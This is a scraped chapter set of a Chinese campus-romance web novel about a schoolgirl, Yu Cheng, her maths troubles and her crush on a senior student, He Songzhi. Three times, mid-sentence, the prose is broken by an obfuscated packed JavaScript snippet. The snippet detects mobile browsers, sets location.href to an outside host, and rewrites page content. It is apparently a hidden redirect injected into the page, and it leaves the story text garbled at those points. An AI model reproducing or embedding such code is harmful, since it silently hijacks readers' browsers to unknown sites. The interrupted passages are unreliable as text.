《下雨天我会想你》 1. 第一场雨 初秋已至,世界的色调逐渐转暖,变得热烈。 可一场秋雨,让本就不近人情的温度更加冷漠。 余澄急急忙忙地洗漱好,将要跑出门的时候,被甘茯苓一声叫住。 “外套穿上。”甘茯苓嘱咐着,还带了一点斥责的意味。“都多大的姑娘了,还不知道照顾自己。等妈妈老了怎么办。” 余澄应了一声,重新冲进房间,取出自己的中山装校服外套,头也不回地冲出去:“妈,我真的要迟到了!” 于是便错过了甘茯苓的那句“带伞!”。 余澄是在出了单元门才意识到下雨这件事情的。 上高中前的一个月,甘茯苓就为她租好了这一处高中对面的房子,虽然与高中隔着马路,但马路中间的绿化带已被人为踩成了一条小径。 住的越近,人便也起的越晚。余澄每天都急急忙忙地起床,再横穿马路去上学。这样刚好能够踩点到学校。对她来说,早上是没有一点多出来的时间的,窗帘都来不及拉开。自然也就两耳不闻窗外事。 这种情景,她也顾不上回去拿伞了。硬着头皮就继续向小区外跑。 细密的雨珠将她的头发与外套上打湿薄薄一层。 到了小区与马路的界限,这里已经候着许多与她一样等待的学生了。 余澄看着他们手中举着的伞,心中一阵哀嚎:自己怎么就这么倒霉啊?! 眼不见心不烦,她干脆微低下头,等着车流少一些的时候与他们一起跑过去。 忽然,她感觉头顶的雨停了。 余澄将视线略微向左上移,看到了一只修长的手。 这只手十分好看,纤长而不消瘦,此时正因拿着伞柄而紧绷着,青筋尽显。 若非要说美中不足,就是他大拇指的第二个关节处,有着令人心惊的淤痕。 却衬得那只手多了几分凌厉的美感。 余澄忽然就不敢再侧一些,去看那人的脸了。 手的主人开了口,声音温润如玉:“同学,看你没有伞,帮你挡一下雨,介意吗。” 余澄站直,却又做贼心虚。将脸转到了一旁,不敢看那人的脸:“当然不啦,谢谢你。” 车渐渐稀少了。 瞅着一个空当,大家都纷纷向前跑。 那少年低声对余澄道:“跟在我后面。”随即跟上了大部队。 余澄低声应允。紧随那少年的后面,跟着他向前跑。 还是没忍住抬头看了眼他的背影。 少年的肩线笔直,中山装穿在他身上分外挺拔。 后脑勺的弧度圆润好看,黑发被雨水打湿,微微贴着脖颈。 他们一转眼便到了绿化带。 这处被人为踩踏出的小径本就是泥土,遇水便显松软,一踩一个泥坑。 那少年在前面小心翼翼地走着,还不忘将伞微微向后倾斜,边走边说:“同学,你跟着我踩过的地方走,那种地方会紧实一些。你的白鞋也能少受点罪。” 余澄不吱声,但一步一步地,覆上了他踩过的地方。 原来,脚印也能生出涟漪啊。 果然,泥水溅起的幅度小了一些。 余澄松了口气,看来今天回去不至于被甘茯苓骂的太惨。 跨过绿化带,再跑过马路。便到了学校门口。 那少年又开了口,语气微微的带着点歉意:“抱歉,同学,我今天还有很重要的事,可能不能送你到你们教室了。你看,要不把我这把伞拿走?” 已经够麻烦人家了,怎么还能拿人家的伞呢...... 余澄忙道:“不用了。谢谢你。我自己走。” 说完便跑出了他的伞,跑进了越来越大的雨中。 * 余澄到教室刚刚坐下,还没来的及喘口气,早读铃便已欢快地响起。 同桌董茵看了眼她,惊奇道:“这么大的雨天,你不带伞,身上就湿这么点?” 余澄将文具盒翻开,将一张空白的小纸条平摊在桌上:“嗯,遇到个好心人。别和我说话,我现在有点紧张。” 董茵道:“哎呀,别怕。第一次月考嘛,总要适应一下。我已经放平心态啦。” 她话音刚落,班主任韩康安顶着那张惯有的阴沉脸走上了讲台。手中还拿着一张薄薄的A4纸和胶带。 他清了清嗓子,开了口:“第一次月考的成绩已经出来了。我把它打印出来,贴在进门的地方。你们早读下了自己看啊。” 整个早读,余澄都过得有些心不在焉。 她向来考试心态就不好。这次数学考试她自知发挥的不尽人意。有许多题平时练习都能做出来,可上了考场脑子就一片空白。 早读一下,班门口便挤满了看成绩的人。 董茵拍了拍余澄的肩膀:“走吧,看成绩去。” 余澄还是不敢:“你去看吧,看完了告诉我,好吗。” 董茵起身就去,回来时面色如常。余澄见她这模样便放心开了口:“我是几开头啊......” 董茵道:“2,其实还行啦,比我高呢。” 余澄又问她:“具体呢?” 董茵说:“你24名,我27名。放宽心吧澄澄,全班五十多个人呢。咱们班还是次重点班,已经很厉害啦。” 看成绩的人大多已经看完,人流渐渐散去。余澄走到班门口,在A4纸的中游,找到了自己的名字。 但A4纸上不仅有总分和位次,还有每科的小分和位次。 余澄向后扫去,物理化学考的倒还可以,都是班里十几名。可数学后面跟着的那个数字,却令她心惊。 四十。 一整节四十分钟的课,余澄都恍恍惚惚的。直到有人对她说班主任叫她,她才恍然回过神来。 余澄走出教室,发现韩康安早已在那里等她。 韩康安领着她到了教室外的长椅上坐下,然后语重心长地开了口:“余澄啊,听说你初中成绩很不错。这次出成绩,还是让我感到挺意外的。” “尤其是数学,怎么才考了四十名啊。才一个月,怎么就和别人拉开了这么大的差距呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042230|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 初中时,余澄稳居班级第二,年级前五十。韩康安与余澄的初中班主任相识,也听她夸过这个女孩踏实认真。得知余澄是因为中考失利才分到这个班时,不免对她怀有极高的期待。 本以为明珠可继续发亮,却不料上了高中便沦为鱼目。 余澄低头道:“老师,其实数学一直是我的弱项。我擅长的是......” 还未说完,韩康安便已打断她:“不用找借口。好好学,才一个月,老师相信你可以。” 韩康安是个典型的理科男,物理老师。整日与小车小球打交道,不懂得小女孩心中的曲折。 他起身说:“好了,不打扰你学习了。快回去吧。等会儿大礼堂有个经验分享,你好好听听,加油啊。” 余澄闻言也起了身,看向他:“老师,我会努力的。” * 天空中仍然飘扬着细雨,董茵与余澄撑着一把伞,慢慢悠悠地向大礼堂走去。 董茵问她:“老韩找你说什么了啊,你回来的时候,看着脸色好差。” 余澄强笑道:“没什么。欸,今天这个分享是什么啊,我怎么没听人说过。” 董茵:“叫你每天早点来呢。老韩今早在你来之前来过一次。说是高三的学长经验分享,让我们都去听听。” 余澄不说话了,只是专心走着。 大礼堂门口挤满了学生。余澄与董茵挤了好一会儿,才在门口找到一处放伞的空地。进了大礼堂,按照舞台后大屏幕打出的各部位置指引找到了两个空位落座。 董茵两手托着脸颊:“余澄,你说今天他们会讲什么啊?” 余澄不抱什么期望地道:“能来经验分享的,应该都不是什么一般人物吧。或许,讲讲他们意气风发的校园生活?顺便拉踩一下我们这些没有什么天赋的奋斗批。” 董茵道:“余澄,别说自己没有天赋了。你语文英语可都是班级前几名啊。” 余澄对她笑笑,本还想说些什么。可经验分享活动猝不及防地就开始了。 舞台上走上挂着标准笑容的主持人,一副官方的口吻介绍着这次分享活动的流程。 余澄本来真的想认真听听,可台上陆续上去的几个人实在令人不敢恭维。不是长着一副理科战神的模样,讲着自己如何在竞赛中不费吹灰之力取得显著成绩。就是声泪俱下,讲述自己如何两眼一睁就是刷题的血泪史。 她真的...不太理解他们在燃什么。 一早上眼看着就快要被消磨过去,余澄早已昏昏欲睡。却忽然听见身边同学的掌声变得格外热烈。 她下意识抬了头。 偌大的舞台上,所有聚光灯都打向那个此时正站立如松的少年。那人皮肤极白,轮廓清隽,眉目沉静。 一双眼睛如小山雀般微微上扬。眸色清浅,被聚光灯镀上一层淡淡的光。 他一只手举着话筒,唇角微勾,带有一丝若有若无的笑意。另一只手举起来向大礼堂中早已激动的同学们挥了挥。 “大家好,我是贺颂之。” 2. 第一场雨 这声音...听着...怎么有点耳熟? 贺颂之站在台上,眼带笑意地环视了台下一圈。 待掌声逐渐低落下去,他才又开了口:“同学们,那我就现在开始了?” “同学”这两字一出,余澄彻底确定了。 是早上为她撑伞的那个人。 董茵见余澄突然坐了起来,不由得调侃一句。 “怎么了?是贺学神的传说听多了?还是觉得他美色动人?” 余澄下意识反驳:“哪有啊...” 却又捕捉到一个关键词。 传说。 少女眼神蓦地清明,连忙拍了拍董茵的手:“什么传说?” 董茵奇道:“你不知道吗?余澄,你这是太沉迷学习了吧。贺神的传说在咱们一中可是满天飞呢。” 余澄:“啊?” 董茵好心给她讲了几句:“贺神,一个高一时稳居理科年级前十,却因为热爱选了文的人。现在高三了,几乎就没把第一拱手让人过呢。成绩好,性格好,长得好,家世听说也不错。感觉跟其他人简直是有壁啊!” 说完这些,她又赶紧将目光转回了台上:“好了好了,不和你说了。这百年难遇的机会,我要抓紧看他了。” 余澄:“......” 跟着董茵,她不自觉将目光转回台上。 也许是大礼堂里温度比较高,他没像之前分享的人那样穿中山装,就只穿了件白衬衫。衬得他气质更加干净。 袖口被整整齐齐地挽了起来。在灯光照耀下,余澄看到他举起话筒的右手腕上系着一根鲜艳的红绳。 余澄不由得看了看自己的左手腕。 那里也有一根红绳。 歪歪扭扭的,编的并不好看。 却被她戴了许久。 像是回想起什么,她眼睛不自觉地有些潮湿。 目光转回台上,贺颂之正好向她这个方向遥遥看来。 礼堂太大,她也不知道他是不是在看她。但他的眼底确实满是关切。 余澄深吸一口气,抛开那些情绪,认认真真听起了他的分享。 “尽管时下‘文科已死’的论调甚嚣尘上,我却不禁想起亚里士多德的名言‘人是理性的动物''。理性,不仅仅是冰冷的逻辑与计算,更是对人性、世界和意义的深刻思考......” * 经验分享结束已经是中午了。天空中仍是纷纷扬扬飘着小雨。 董茵打着伞,挽着余澄走出校门,向右拐,边走边兴奋地道:“天哪,今天居然见到贺神了!果真是名不虚传啊。” 余澄笑笑,没有说话。 董茵又继续叽叽喳喳了起来:“刚刚他讲的时候引经据典的,我都听的一头雾水...学神的文化底蕴也太高了吧!” 她转向余澄:“诶,不过,学神为什么会去学文呀,感觉学文没什么前途......” 一中是松陵三大名校之一。理科实力很强,几乎年年都能出省状元。相对来说,选文科的学生就相对少了。“文科无用”的气氛在一中里甚嚣尘上。 少女一贯是淡淡地笑着的,像只温润的汝窑瓷器,柔和而含蓄。可如今,她唇线绷直,罕见地没有附和董茵的话。 “那不一定。” 董茵也察觉了她的不对劲:“怎么啦,代入感突然这么强,你是想选文科吗?” 余澄摇摇头,没有说话。 就算她再喜欢历史,再喜欢写作—— 她也只能选理科。 董茵见她心情低落,也没有和她再说下去,换了个话题继续说。 “诶,刚刚学神的联系方式被放在大屏上了诶,我都没来得及记,你记了吗?” 余澄低声道:“没有。” 就在大屏幕上放了一下,谁还来得及记啊。 更何况—— 他是那么耀眼的人。 耀眼的让人...不敢接近。 到了分岔路口,余澄要左转过马路回对面的家,董茵则右转去托管班。 两个人就此分离。 余澄跑回到空无一人的家里,热了热锅里已经冰冷的饭菜。 往往秒睡的她,这天中午罕见地失了眠。 * 下午,余澄头昏脑胀地到了学校。 因为怎么也睡不着,她干脆就早早出了门。 这次倒是没忘了带伞。 到了班上,离午读倒是还有一段时间。 远远的,她就听到了极大的喧哗声。 同班同学明霜正站在讲台上,一脸张扬。 她本就是个明艳大美人,举手投足皆是风情。如今眉眼舒展,更显风流。 余澄刚走进去,就见明霜叫道:“都安静,安静!告诉你们件天大的好消息。” 她一转头,发丝飘扬起来,给人一种说不出的艳丽感。 一中对发型要求很高。女生都几乎必须剪短发。但明霜却是例外中的几个。她是合唱团成员,由于经常需要参加演出,留了一头长发。 她们班上的班长裴凌见班里还闹哄哄的,长腿一掀,走到台上去,用不大但极含威势的声音懒洋洋地说:“大家安静点,听听明同学怎么说。” 教室里瞬间鸦雀无声。 明霜随手拿起根白色的粉笔,左手高高举起,在黑板上洋洋洒洒写下一串数字,得意洋洋:“我呢,把贺颂之企鹅号码记下来了!美色岂能独享,造福他人才是正道嘛。” 教室里响起稀稀拉拉的掌声。 裴凌黑了脸:“你说的重要的事,就是这个?” 明霜:“对啊,那咋了。” 裴凌冷哼一声:“不要以为你狐假虎威,就能胡作非为。这样是在败坏我班长的名声。” 明霜:“我狐假虎威?是你主动帮我说话的好吗。” 裴凌:“......” 他见台下的人都用意味深长的眼神看着他们,忙道:“看什么呢,赶紧午读了!” 董茵激动地拍了拍余澄:“明霜真是吾辈楷模啊!我敢说,今天早上贺神的联系方式就没几个人能拿到。” 她抽出笔,赶紧将号码记在了自己空白语文书的第一页。 余澄没有立即行动,静静看着董茵写完,还是忍不住发问:“你...会加他吗?不怕他多想吗?” 董茵觉得她这个问题莫名其妙:“加个好友,不就是手指点点的事嘛。他这么优秀的人,加他的人多了去了,他又不会查户口。做个列表躺尸看看也不错呀。” 余澄沉思片刻,最后还是拿起一张文具盒底部的小纸条,将他的号码写了下来。 一笔一划,小心翼翼。 余澄文具盒里塞了各种奇奇怪怪的纸条。有的写着自己记不住的知识点,也有的会写几句她喜欢的话。却是第一次出现与别人有关的事。 她把小纸条折成两半,藏在其他纸条之间。像是把自己的少女心事也掩埋在了不为人知的地方。 * 晚上十点钟,晚自习下课铃声准时打响。 余澄九点半就写完了作业,平时回家也不带书包。正准备两手空空地回去,却又想起期中考试她惨烈的数学成绩。 她叹口气把卷子从塞满的抽斗里拿出来,准备拿着回家。 回家的路上,一路灯火明明暗暗。 身边有许多接孩子回家的家长,与孩子说笑着,言语间尽是温柔。 余澄边发呆边走着,有些刻意地不去听那些人的声音。 回到家打开家门时,甘茯苓在和人打电话,好像是在聊工作上面的事情。 余澄走上前去叫她:“妈妈,我回来了。” 甘茯苓转头看她,点了下头。厚重的妆容也掩盖不住她眉眼间的疲惫。 瞥了眼余澄手里的卷子,甘茯苓问她:“拿卷子回来总结?” 余澄点点头:“嗯。” 转身回自己房间的路上,余澄隐隐约约听见电话那头传来的声音:“你真是好福气啊,女儿长得乖,学习上也乖,感觉都不用人操心。” 又听到甘茯苓叹了一口气,笑道:“就我一个人照顾她,不乖点我还怎么办啊。” 余澄紧抿着唇,轻轻把房门掩上。 然后,从柜子的不起眼处里摸出她前几天从图书馆里借来的书。 《这里曾经是汉朝》。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042231|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在某些方面,余澄从来都不是甘茯苓眼中的乖小孩。 她在尽可能不被甘茯苓发现的前提下,努力坚持自己的爱好。 余澄看的正入迷,却不料手中的书被人一把夺了过去。 她往后看去,对上甘茯苓那双满是怒火的眼睛。 房门已经不知道什么时候被打开了。 甘茯苓看了看余澄手中的书名,把书一把砸在地上。 “上高中了,心思还不在学习上?怎么又看这些没用的书!” 余澄顾不得辩解这书有没有用,忙叫道:“妈,这书是我从图书馆借的,别乱扔......” 甘茯苓闻言,把书捡了起来放到余澄的书桌上,可语气却愈发严厉:“你们老师把成绩表发家长群了,我已经看到了。怎么,你是对你的成绩很满意?刚刚打电话的时候没骂你都是给你面子了。看你拿数学卷子回来还以为要反思,结果呢,原来就是装装样子啊!” 见余澄低下了头,她语气稍稍缓和:“余澄,妈妈不想让你走爸爸的老路。你听妈妈的,好好学习。尽量和妈妈一个专业,妈妈给你铺路啊。” 甘茯苓是一名电气工程师,整天加班,忙的不亦乐乎。 一想到日后她可能就要与数字和公式打一辈子交道,余澄就觉得沮丧。 可如今两个人剑拔弩张,她也不敢把真实想法宣之于口。只得点头道;“妈妈,我知道了。” 甘茯苓见她态度诚恳,倒是也没有多说什么。把桌上的那本书拿起:“书我没收了,放客厅桌子上,明天记得拿走还了。” 余澄继续点头:“好的妈妈,我知道错了妈妈。” 等甘茯苓离去,余澄急忙把门重新关好,轻轻转动门锁。 成功锁住了! 少女嘴角流露出一丝喜悦,重新走回书柜,摸出了一本与之前那本几乎长得一模一样的书。 没想到吧!一被收了,她还有二呢。 一旦看进去了书,便觉得时间流逝的很快。 晚上十一点钟,余澄放下书,开始攻克她的数学卷子。 十二点钟,她把几道大题的思路理顺了。 其实她不是不会,就是考场上心态太差,思路乱成一团麻。 余澄匆匆忙忙去洗漱,终于躺回床上。 即将沉入梦乡的那一刻,她突然想起来—— 她居然忘了把小纸条带回来。 算了,加了他估计也说不上话。 * 高三十一点才下晚自习。 作业任务重,即使写了数个小时还是写不完。贺颂之干脆不写了,揣着那把伞就出了校门。 回到出租房后,他坐在自己书桌前的椅子上,打开手机。 果不其然,企鹅新朋友那栏传来几十个好友申请。 贺颂之一个一个点了通过。 学弟学妹们问他一些学习方面上的问题,他都认真回答。 将所有人的消息回完,已是凌晨一点。 这个时候,他才看到好兄弟周季青中午就给他发来的,被他免打扰的消息。 他们两人是初中同班同学。到了高中一文一理,位居教学一号楼的对角线,可以说线下是几乎没什么机会见面。 【季风青时:兄弟,今天巨帅啊。但你装什么b呢,这么冷的天就穿一白衬衫上去讲话,也不怕感冒了。】 【hsz:不是故意,事出有因。】 任凭周季青再怎么信息轰炸,贺颂之都没有再回他。 他不可避免地想起今天早上的场景。 女孩羞涩,离他距离很远。为了防止她被淋到,他的伞向她那边倾斜了许多。外套便不可避免的湿了大半。 她后来走去的方向是教学三号楼,应该是高一的学生。那也应该会来听经验分享。 贺颂之认为自己这只是举手之劳,不想让那个女孩感到内疚。因而上台前就把外套脱了。 不告诉周季青,是因为那人向来口无遮拦。要真给他说了,明天自己和那个女孩的绯闻就会传上天去。 贺颂之不想整这些无中生有的事情。 不管换成谁他都会这么做的,他想。 3. 第一场雨 第二天是个艳阳天。 余澄跑过那条被踩出的小径时,发现它还没有干透,散发着微微潮湿的气息。 就像她的心情那样。 可这次,却没碰到那个人。 余澄突然很后悔,昨天没有对他说声“谢谢。” 不过,她那时候都没有看清他的脸。 他应该...也没看清自己的脸吧。 希望他不要觉得自己是个很没礼貌的人。 * 早上的第一节课是数学课。 余澄用心地听着,将笔记记得整整齐齐、密密麻麻。还细心地用不同颜色的笔标注了出来。 下课的时候,她揉了揉发胀的太阳穴,正想趴着睡一会儿。却又听见数学老师的声音—— “余澄,你跟我来一下。” 全班同学的眼光投到她的身上,余澄不免有些不自然。 初中时年级共有四个部,三十二个班。像一中这种超级中学,大多数人都是初中签了协议直升上来的,因此有许多人初高中都同班。但余澄高中进入的这个班里却没有同班的,甚至只有三个人是她们部的。因此也没几个人知道她初中时成绩真的还不错。 余澄起了身,跟着老师出去。 她站在数学老师办公室里,看着面前优雅的女人漫不经心地啜了口茶,然后才缓缓开口:“余澄啊......你这次考试我看了。感觉不是智商的问题,更多问题还是在心态上。” “老师觉得,你可能就是缺一点方法。明天有个数学讲题比赛,就在教二三楼的阶梯教室。你去听听。虽然里面讲的东西可能对你来说有点难,但方法上面的东西还是可以学习一下的。” 数学老师看向眼前的女孩。她有着一张极为秀气的脸。齐刘海、大眼睛。看着就是那种让老师挺放心的学生。 上课的时候,她也特别留意过余澄。女孩子听的也认真,记笔记的手就没停过。可努力却完全没在回报上体现。 或许她只是差了一点方法。 余澄真诚地向她道谢:“老师,特别感谢你。” 数学老师笑了笑:“这是老师应该做的。” 她拉开抽屉,递给余澄一张花花绿绿的单子。 “这是明天比赛的顺序。你挑着对自己有用的听。” 余澄再次向她道谢,眼睛不自觉地向那张单子上瞥了一眼。 映入她眼帘的是三个字—— 贺颂之。 * 一中下午六点二十下课,七点半准时开始晚自习。 余澄去校门口随便买了个饭团,三两口赶紧啃完,才刚到六点四十。 她又赶紧跑到图书馆,找了个座位,把昨天被甘茯苓收了的书拿出来看。 书还是得还,但是不能不看。 余澄是第一次这个点到图书馆,没想到里面坐的人还挺多的。 她随意找了个周围人比较少的空位,开始埋头看书。 看了一会儿,她觉得眼睛干涩,不自觉地揉了揉眼。 她抬起头,将眼睛睁开。 眼睛从模糊变得清晰的那一瞬间,余澄望见了她的青春剧男主角。 少年坐在她左前方的桌子那儿,对着她露出无可挑剔的侧脸。 他今日穿了件纯黑的卫衣,帽子扣在头上,将头发微微压下去了一些。相比于前日的温润,显得气质有些冷冽。 眼帘低垂着,心无旁骛地在模拟答题卡上刷刷写着字。 余澄忽然就想到了《一个陌生女人的来信》中的一句话—— “就在那一眼之间, 仿佛过了一个世纪。” 她不敢看他看的太久,急忙低下了头,想继续投入汉朝波澜壮阔的历史长河中去。 可往日看上去妙趣横生的文字,如今却让她怎么看都沉浸不下去。 余澄又望着那页开始发呆。 也不知过了多久,少年的轻咳打破了她神游的状态。 余澄再一次望向他。 他也许是怕影响别人,将自己的声音压到了最低。 少年神色并没有多么凝重,反而显得有些漫不经心。他伸手拿起放在桌上的白色保温杯,轻抿一口。 却还是没有什么用。 余澄心里泛起了一点特别的情绪。 昨天明明还好好的,他是为什么生病了呢...... 她不是傻子,能多少猜到一点他昨天上台为什么不穿外套的原因。 如果当时能离他再近一点...... 七点的铃声响了,贺颂之慢慢将东西收拾好,离开了图书馆。 高三的晚自习七点十分就开始了。 余澄望着他离去的方向。 半晌,她回过神来。用气声对着他的背影悄悄地说—— “对不起啊......” 余澄再度打开被她冷落已久的书,试图让自己注意力重新集中。 这次好像有点效果了。 直到七点二十的铃声响起,余澄看了看自己的进度。 她居然!看了!整整...... 两页。 余澄忽然想起来,只要自己不带书包回家,甘茯苓也不会发现她还没还书。 她灵机一动,打算把书塞进书包里。 有空就看,看完再还。 走回教室的路上,余澄脑海里莫名其妙地响起董茵的那句话。 “怎么了?是贺学神的传说听多了?还是觉得他美色动人?” “还是觉得他美色动人?” 美、色、动、人。 坐回座位上,余澄忽然对董茵来了句:“你说的对。” 美色的确动人。 董茵:“?” 巡逻晚自习的老师还没来,班里还是在欢快地窃窃私语。 班长裴凌显然也懒得管,正和同桌明霜小学鸡斗嘴斗的欢快。 趁这个机会,余澄装作不经意问道:“欸,董茵,你昨天去加贺神好友了吗?” 董茵眨了眨眼:“天哪,这还是我认识的余澄吗。” 见余澄不解,她又继续说道:“认识你一个月,还是第一次见你你关注学习和读书以外的事。” 余澄理直气壮地回答道:“这你就不懂了吧——” “八卦,乃人之常情。” 董茵看着她,忍不住掐了掐她的脸:“八卦的乖孩子。” 她接着回答余澄前面的问题:“加了啊。不过没问什么问题。” 余澄瞪大眼睛:“这样...也行?不会很冒犯吗。” 董茵摆摆手:“加他的人多了去了,没什么需要患得患失的。而且,我是理科生欸,和他实在没什么共同话题。” 余澄点了点头,还是觉得不可置信:“就这样,安安静静做一个躺尸?” 董茵笑了:“那不然呢,直接高调示爱?” 她望向余澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042232|162585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“贺神啊,就像出水芙蓉,可远观,不可亵玩啊。” 余澄涨红了脸:“你...乱说什么话呢!” “不过呢,他性格确实蛮好的。明霜刚刚跟我说,她问贺神刚进高中怎么适应,贺神给她打了一长段话呢。我自己也去翻了他空间,贺神还经常分享他当下的一些心得呢。怪文艺的。说不上话,看看那些也不错啊。” 管晚自习的老师猝不及防从窗台上冒出了头:“说什么说,再说把你们都拍下来!” 余澄和董茵迅速噤了声,与作业奋战。 * 晚上又是一个人回家。 余澄依旧是什么都没拿。 但兜里揣了张小纸条。 已经被她翻来覆去不知揉了多少遍,皱巴巴的。 这一次,余澄看着沿路辉煌,心里却不觉空荡。 好像有什么东西,在不知不觉中,就被那个少年填满了。 她用最快的速度小步跑回家,拿钥匙打开家门。 甘茯苓应该还在加班,没有回来。 余澄打开自己房间的灯,拿出手机。 明明家里除了她没有一个人,她却觉得心跳的比任何时候都快。 怦怦、怦怦。 有种做贼的感觉。 她试图以客观视角审视了一下自己的企鹅号。 用户名称:葬爱·幽梦璃雪 ......谁还没有个中二时期了。 头像是一只小兔子,倒还正常。 再打开她的空间。一条一条翻了起来。 余澄的空间动态自从初二开始就再也没发过了。但之前留下的东西,她看一个起一身鸡皮疙瘩。 【复制下来,改成你的真实情况再@5个人......】 【一个外地人问:你们松陵人到底厉害在哪里? 松陵人自豪地说:“厉害在呼吸上面!” 外地人不服,专门坐飞机到松陵,深吸了一口气—— 然后,被松陵的雾霾呛死了。】 余澄:“......” 真的是纯纯的黑历史啊! 她纠结了半天,也不想删,又不想设置成三天可见。干脆上网搜了下教程,开了个企鹅小号。 也不知怎么想的,余澄在选性别时,选了个男。 她想,男生安全,不会引起学神不必要的误会。 本来我也只是想仰望一下学神,他也不会认识我。真实性别嘛,也不重要。 头像...换成一只小黄人。反正小黄人也是男的。 名字就叫“。”,符合男生懒得起名的风格。 把这一系列操作完了,余澄松了口气。从挂到衣架上的校服外套上拿出自己那张小纸条。 余澄是用铅笔写的,字迹本就浅淡。又在兜里揉搓了好一阵。此时纸条已经有些看不清了。 她在昏黄的台灯下艰难地辨认着字迹,敲着那一段数字:“213......” 敲到某一个数字,石墨直接糊作了一团。 余澄看了半天,才看出来这是个“8”。 她眉头舒展,接下来顺利地敲完了剩下的数字。 跳出用户的那一刻,她整个人都震惊了。 用户:宁静致远 年龄:102岁 那人的头像,甚至还是张青山流水图。 ...... 学神的画风竟然是这样的吗? 4. 第一场雨 纠结许久,余澄还是点了添加好友。 在填写验证信息的时候,她敲了一大段字。 【。:学长你好,我是高一的小学弟。昨天听了你的经验分享之后感觉收获很多。想加个联系方式方便以后咨询你一些问题。你看可以吗?】 想了想,余澄又把这段话一字不差地删掉。 这样说太繁琐了,他会不会以为自己是个钓鱼号?! 思考了许久,余澄面色凝重,最终打下了几个字。 【。:我是。】 这下干净利落,总不会令他生疑了吧。 一系列操作下来,时钟已经指到了十二点。 甘茯苓还没有回来。 余澄叹口气,倒回床上。 却又怎么都睡不着。 心潮澎湃。 脑子喊着:“停下,不要想了!” 手里却不断蹂.躏着自己的小熊猫抱枕。 睡不着,她就干脆睁了眼,在黑暗中按亮手机。 还是“待同意”。 又躺回去。 这一次,她甚至能听到自己强劲的心跳声了。 翻来覆去调整睡姿,余澄的脑子被整的越来越清醒。 她终于意识到,自己失眠了。 再打开手机,依旧是“待同意”。 余澄绝望地躺在床上,心想——等我加上你,绝对要问你千八百个问题!!! * 余澄顶着两个青黑的眼圈,人事不省地坐到餐桌前。 她每天早上都吃不下饭,又不敢跟甘茯苓说。只能勉为其难地往嘴里塞下一点。 可今天,她感觉自己头重脚轻,应该是连塞都塞不下去了。 余澄转向甘茯苓:“妈妈,我有点难受,能不吃了吗。” 甘茯苓见她确实精神不济,也没说什么,只是问她:“看来成绩不好,你反思的很到位?” 余澄:“......” 甘茯苓说她:“反思到位就行。书还了吗?” 余澄没精打采地点了点头,出了家门。 这天的晚自习时间余澄要去听数学讲课比赛,写作业的时间被大大削减。她只好挤着时间在每个课间奋笔疾书,头都不敢抬几次。 已经布置过的作业倒还好,有个努力的方向。可没布置的作业就只能靠老师的习惯猜。 最后一节化学课上完,老师宣布:“课代表记一下啊,今天作业是导学稿写五页。” 写了四页课时练的余澄:......卒。 放学后,余澄带着课时练,和前一天一样从便利店拿了个三明治啃。往回走的路上,她抬头看了看天空。 天空中铺满了大片大片的粉紫色云霞,与砖红色的教学楼相互映衬,有种瑰丽奇幻的感觉。 身边三三两两走过的同学或是匆匆前行,或是驻足停留,或是说说笑笑。 向来只知道低头赶路的余澄突然心中生出了一丝伤感之情。 烟霞可能每年都会有,但校园里的人们却换了一波又一波。 有人才刚刚满怀希望地走进校园,对前途充满憧憬;也有人苦战多年,只为离开时能带着笑颜。 很多年之后,她才知道,这就是青春带给人的感受啊。 余澄揉了揉自己的短发,想让自己更清醒一点。 揉完之后,她把头发向后甩了甩,也不想去管它。 径直走向图书馆。 导学稿,我和你奋战到底啊! 出于一点私心,余澄坐到了和前一天一模一样的位置。 那万一...就遇上了呢。 与氧化还原反应大战着,不知不觉,余澄渐渐沉浸在了做题的快乐中。直到七点的铃声响起,她才如梦初醒地抬头—— 贺颂之还是坐在那个座位上。 他换了件深蓝色的卫衣,眼帘低垂,盖住了那双清浅的眸子。下半张脸被浅蓝色的医用口罩覆盖住。 依旧笔耕不辍。 气质清朗,明明如月。 却丝毫没有起身的意思。 余澄刚开始还觉得奇怪,却又忽然想起了她昨天在单子上看到过他的名字。 数学讲题比赛是高二年级的活动。七点半才开始。 她一个高一小菜鸡,他一个高三大神,竟然都莫名其妙地要去凑这个热闹。 一想到那张单子,她手在运动服兜里不自觉地掏了掏。 竟然真被她掏出来了! 余澄其实并不是个细致的人。比起将东西摆的整整齐齐,她更喜欢随手一塞,然后把时间放在胡思乱想上。 她不自觉地抚平这张被她揉的皱皱巴巴的单子。 然后...随手扔在一边。 到了时间再说过去的事吧!她正和氧化还原爱的深沉呢。 她没有注意到,一直以来奋笔疾书的贺颂之,刚刚不经意抬了一眼。 在看到那张花花绿绿的单子时若有所思。 七点二十的铃声响了。 